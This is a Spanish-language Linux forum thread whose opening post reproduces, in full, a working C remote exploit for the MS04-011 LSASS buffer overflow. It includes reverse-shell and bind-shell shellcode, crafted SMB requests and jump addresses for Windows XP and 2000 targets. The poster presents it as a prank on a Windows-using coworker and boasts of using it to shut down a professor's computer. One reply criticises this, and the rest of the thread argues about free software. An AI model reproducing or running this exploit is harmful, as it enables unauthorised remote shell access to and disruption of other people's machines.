Que arian si:

Imagen de WolfAnt

Forums: 

si su compañero de oficina les ve usuar linux (el uasa Windows) y dice
"Yo no uso eso por ke no funciona es feo y no puedo jugar Warcraft III"
respuesta????
Compilo esto lo ejecuto y me rio....

[code]
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#pragma comment(lib, "ws2_32")

// reverse shellcode
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";

// bind shellcode
unsigned char bindshell[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";

char req1[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";

char req2[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";

char req3[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
"\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";

char req4[] =
"\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
"\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
"\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
"\x49\x00\x50\x00\x43\x00\x24"
"\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";

char req5[] =
"\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
"\x72\x00\x70\x00\x63\x00\x00\x00";

char req6[] =
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
"\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

char req7[] =
"\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
"\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
"\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";
// room for shellcode here ...

char shit1[] =

"\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";

char req8[] =
"\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
"\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00"
"\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00"
"\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00"
"\x00\x00\x00\x00\xAD\x0D\x00\x00";
// room for shellcode here ...

char req9[] =
"\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01"
"\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02"
"\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00"
"\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00";

char shit3[] =
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";

#define LEN 3500
#define BUFSIZE 2000
#define NOP 0x90

struct targets {

int num;
char name[50];
long jmpaddr;

} ttarget[]= {

{ 0, "WinXP Professional [universal] lsass.exe ", 0x01004600 }, // jmp esp addr
{ 1, "Win2k Professional [universal] netrap.dll", 0x7515123c }, // jmp ebx addr
{ 2, "Win2k Advanced Server [SP4] netrap.dll", 0x751c123c }, // jmp ebx addr
//{ 3, "reboot", 0xffffffff }, // crash
{ NULL }

};

void usage(char *prog)
{
int i;
printf("Usage:\n\n");
printf("%s <target> <victim IP> <bindport> [connectback IP] [options]\n\n", prog);
printf("Targets:\n");
for (i=0; i<3; i++)
printf(" %d [0x%.8x]: %s\n", ttarget[i].num, ttarget[i].jmpaddr, ttarget[i].name);
printf("\nOptions:\n");
printf(" -t: Detect remote OS:\n");
printf(" Windows 5.1 - WinXP\n");
printf(" Windows 5.0 - Win2k\n\n");
exit(0);
}

int main(int argc, char *argv[])
{

int i;
int opt = 0;
char *target;
char hostipc[40];
char hostipc2[40*2];

unsigned short port;
unsigned long ip;
unsigned char *sc;

char buf[LEN+1];
char sendbuf[(LEN+1)*2];

char req4u[sizeof(req4)+20];

char screq[BUFSIZE+sizeof(req7)+1500+440];
char screq2k[4348+4060];
char screq2k2[4348+4060];

char recvbuf[1600];

char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
char strBuffer[BUFSIZE];

unsigned int targetnum = 0;

int len, sockfd;
short dport = 445;
struct hostent *he;
struct sockaddr_in their_addr;
char smblen;
char unclen;
WSADATA wsa;

printf("\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1\n");
printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");

if (argc < 4) {
usage(argv[0]);
}

target = argv[2];
sprintf((char *)hostipc,"\\\\%s\\ipc$", target);

for (i=0; i<40; i++) {
hostipc2[i*2] = hostipc[i];
hostipc2[i*2+1] = 0;
}

memcpy(req4u, req4, sizeof(req4)-1);
memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);

smblen = 52+(char)strlen(hostipc)*2;
memcpy(req4u+3, &smblen, 1);

unclen = 9 + (char)strlen(hostipc)*2;
memcpy(req4u+45, &unclen, 1);

if (argc > 4)
if (!memcmp(argv[4], "-t", 2)) opt = 1;

if ( (argc > 4) && !opt ) {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
ip = inet_addr(argv[4])^(ULONG)0x99999999;
memcpy(&reverseshell[118], &port, 2);
memcpy(&reverseshell[111], &ip, 4);
sc = reverseshell;
} else {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
memcpy(&bindshell[176], &port, 2);
sc = bindshell;
}

if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memset(buf, NOP, LEN);

//memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
memcpy(&buf[2020], &ttarget[atoi(argv[1])].jmpaddr, 4);
memcpy(&buf[2036], sc, strlen(sc));

memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
memcpy(&buf[2844], &ttarget[atoi(argv[1])].jmpaddr, 4); // jmp ebx addr
//memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr

memcpy(&buf[2856], sc, strlen(sc));

for (i=0; i<LEN; i++) {
sendbuf[i*2] = buf[i];
sendbuf[i*2+1] = 0;
}
sendbuf[LEN*2]=0;
sendbuf[LEN*2+1]=0;

memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);

} else {
memset(strBuffer, NOP, BUFSIZE);
memcpy(strBuffer+160, sc, strlen(sc));
memcpy(strBuffer+1980, strasm, strlen(strasm));
*(long *)&strBuffer[1964]=ttarget[atoi(argv[1])].jmpaddr;
}

memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);

WSAStartup(MAKEWORD(2,0),&wsa);

if ((he=gethostbyname(argv[2])) == NULL) { // get the host info
perror("[-] gethostbyname ");
exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}

their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(dport);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);

printf("[*] Target: IP: %s: OS: %s\n", argv[2], ttarget[atoi(argv[1])].name);
printf("[*] Connecting to %s:445 ... ", argv[2]);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
{
printf("\n[-] Sorry, cannot connect to %s:445. Try again...\n", argv[2]);
exit(1);
}
printf("OK\n");

if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ((argc > 5) || opt) {
printf("[*] Detecting remote OS: ");
for (i=0; i<12; i++) {
printf("%c", recvbuf[48+i*2]);
}
printf("\n");
exit(0);
}

printf("[*] Attacking ... ");
if (send(sockfd, req4u, smblen+4, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memcpy(screq2k, req8, sizeof(req8)-1);
memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);

memcpy(screq2k2, req9, sizeof(req9)-1);
memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);

memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-
1);

if (send(sockfd, screq2k, 4348, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, screq2k2, 4060, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}

} else {
memcpy(screq, req7, sizeof(req7)-1);
memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);

screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
printf("[-] Send failed\n");
exit(1);
}
}
printf("OK\n");

len = recv(sockfd, recvbuf, 1600, 0);

return 0;
}
[/code]
Luego le digo!!!
es por que no me gusta pagar por cosas que estan mal hechas y no tengo el codigo para poder areglarlas.

alguno tiene Otra opcion de respuesta????? :wink: [size=24][/size][size=7][/size]

Imagen de BitFrost

perdon por la lamerada de pregunta, pero q compilador usaste??

"Education is what remains after one has forgotten everything he learned in school." - Albert Einstein
[img]http://counter.li.org/cgi-bin/certificate.cgi/345468[/img]

Imagen de WolfAnt

yo uso kylix 3 for C++ enterprice lo tengo en Linux RH pero tienes problemas com distribuciones nuevas solo guarda el codigo con .cpp
si no tienes todas las librerias como Windows.h viene en Visual C++ ahi tambien puedes compilarl el codigo. ha funciona en Windows Xp sin el parche
para el lassas yo lo utilizo en mi U para apagarle la compu a mi profesor cuando esta aburrida la clase ya tengo algunos nuevos para poner aki para hacer algo como "Por que no deve usar Windows" seria interesante La
otra vez mi profesor de sistemas operativos nos dijo traten de colgar a Linux
pero que ya nada se pueda hacer solo resetiarlo y les paso el semestre.. nadie pudo ni yo aunke lo colge pero lo restablecio... cuando dijo mm bueno cuelgen Windows
hasta el mas bobito lo hizo!! :p
-----------------------------------------------------------------------------------------
Exites 10 tipos de personas: las que saben binario y las que no.

Att: Antonio Insuasti ®

Imagen de pepo

Lastima que no hayas demostrado nada...

[b:edd7654605]Usas un exploit[/b:edd7654605] (el código es una copia textual) para una falla (MS04011) de Windows y (sin temor a equivocarme) [b:edd7654605]no sabes nada acerca del código que vas a ejecutar.[/b:edd7654605]

Obviamente el compilador debe ser compatible con Windows (y también me atrevo a decir que lo compilaste en windows), ya que la cabecera windows.h es propiedad de ellos. [b:edd7654605][i:edd7654605]Lo que aparta la idea de usar código libre.[/i:edd7654605][/b:edd7654605]

Como tú mismo nos cuentas, cualquiera (y bien cualquiera) puede bajarse un exploit, compilarlo y ejecutarlo. Pero eso no muestra nada a nadie; mucho peor es una forma ridícula de hacer que alguien cambie su óptica. Ya deberíamos saber que hay que enseñar a pescar y no regalar los peces si queremos en realidad ayudar.

[b:edd7654605][i:edd7654605]¿Que nadie pudo bajar el sistema Linux, incluso tú tampoco?[/i:edd7654605][/b:edd7654605] pues talvez tienes una idea exagerada de tus capacidades en ese campo, lo más probable es que en el mismo sitio donde encontraste el exploit para windows está el que manda un puntero a una posicion del manejo de memoria y resetea el sistema en los GNU/Linux.

No he querido entablar una guerra santa, simplemente me parece que no podemos dar opciones a otras personas por la fuerza, y mucho peor por la fuerza que no tenemos.

Ayudas para el problema de no poder usar su juego podría ser:
[url=http://linuxemu.retrofaction.com/]LinuxEmu[/url] donde puede encontrar informacion para emulacion psx, psx2, etc
[url=http://frankscorner.org/]Franks Corner[/url] es lo mejor para ver como correr aplicaciones/juegos de Windows usando Wine/WineX

------------------------------------------------
Linux User Registered #232544
Jabber : pepo@jabberes.org
Ekiga : pepo@ekiga.net
GnuPG-key : www.keyserver.net

mal mal

Imagen de WolfAnt

bueno la verdad la libreria la pudes encontrar muy facilmente en GOOGLE es totalmente gratis nadie te pide ni serial por ella ni tampoko es trial !! te la pudes bajar de muchos lugares!! tampoko kiero peliar pero tu mismo lo dices WIne!!! que pasaria si.... no regalo el codigo en verdad desde que salio el Sp2 no funciona pero si lo compilas pudes ver que es total mente compatible... si no me crees Usa WINE (emulador de windows
en Linux como cygwin emulador de linux en windows) veras ke tansolo compilarlo con el kylix pudes poner un una terminal los parametros y ejecutarlos talves jamas intentaste eso...!! deverias hacerlo y si no lo crees intentalo...!! (sino crees informate) no me tiro a grande pero en realidad haslo eso es lo malo no lo intentaste...! abre tu mente loko!! y veras!!
sabes buska Win32 API..(Application Programming Interface) enserio compilalo Win32 Api son librerias no solo funciona en Windows lo pudes usar tanto en Mac OS como en linux solo para compilacion y usos de comandos sino por ke kecres ke el comando "Dir" funciona en los dos sistemas??

Att: Antonio Insuasti ®

Imagen de pepo

No hubiera querido seguir en el tema pero me gustaría poner unas aclaraciones:

Es importante el leer TODO el mensaje anterior y entender la idea.

Y complementando el punto; hooooola... el que sea gratuito no quiere decir que sea libre, es una burda traducción que tenemos al traducir "free". El núcleo Linux es el corazón de los sistemas GNU/Linux y sería bueno que aquellos confundidos con creer que todo lo gratuito es libre se den una vuelta por [url=http://www.gnu.org/home.es.html]GNU[/url] y lean el [b:7e70436c9e][i:7e70436c9e]titulote[/i:7e70436c9e][/b:7e70436c9e] que allí se muestra, y para más rasgos la [url=http://www.gnu.org/philosophy/philosophy.es.html]filosofía[/url].

Despues de dejar claro que es [i:7e70436c9e]tonto[/i:7e70436c9e] el dañar para obligar a elegir lo que a nosotros nos parece (y sabemos que nadie tiene la verdad absoluta), debemos recordar que [i:7e70436c9e]red code[/i:7e70436c9e] atacaba a Apache que es el web-server por excelencia del [b:7e70436c9e]código libre[/b:7e70436c9e].

Nuevamente:
[quote:7e70436c9e]Enseña al hombre a pescar y no le regales los peces.[/quote:7e70436c9e]

------------------------------------------------
Linux User Registered #232544
Jabber : pepo@jabberes.org
Ekiga : pepo@ekiga.net
GnuPG-key : www.keyserver.net

Imagen de RazaMetaL

Solo una acotación.

Donde dice:
[code:1:5b7bdfa83b]Que arian si:[/code:1:5b7bdfa83b]

Debe decir:
[code:1:5b7bdfa83b]Que harían si:[/code:1:5b7bdfa83b]

Atentos con la ortografía. :twisted:

-----

Visita este [url=http://www.sindominio.net/ayuda/preguntas-inteligentes.html]link[/url] :evil:

[img]http://www.bbspot.com/Images/News_Features/2003/01/os_quiz/debian.jpg[/img]

(adsbygoogle = window.adsbygoogle || []).push({});

Imagen de pepo

:wink:
:D

------------------------------------------------
Linux User Registered #232544
Jabber : pepo@jabberes.org
Ekiga : pepo@ekiga.net
GnuPG-key : www.keyserver.net

me gusta!!

Imagen de WolfAnt

Jaja me gustaron sus observaciones… pero yo note otras… aunque esto se salio por completo del tema por el cual lo postie..

Bueno lo primero: nosotros sabemos que Código Libre es: dar a conocer el código fuente de un sistema con la finalidad de que sea mejorado.(dando a conocer como funciona y con que herramientas se puede tratar al código entre muchas otras cosas)
El código fuente esta aquí http://neworder.box.sk/explread.php?newsid=11431
Bueno que es lo que hace el código: (según Pepo yo no se lo que hace)
Lo que hace es crear un buffer overflow( desbordamiento del buffer) en el lsass.exe que es un servicio de Windows que escucha al puerto 445. luego inyecta código maligno y permite poner un puerto a la escucha que definimos en la línea de comandos. El código maligno del que hablo son los vectores tipo char con nombre Shit.
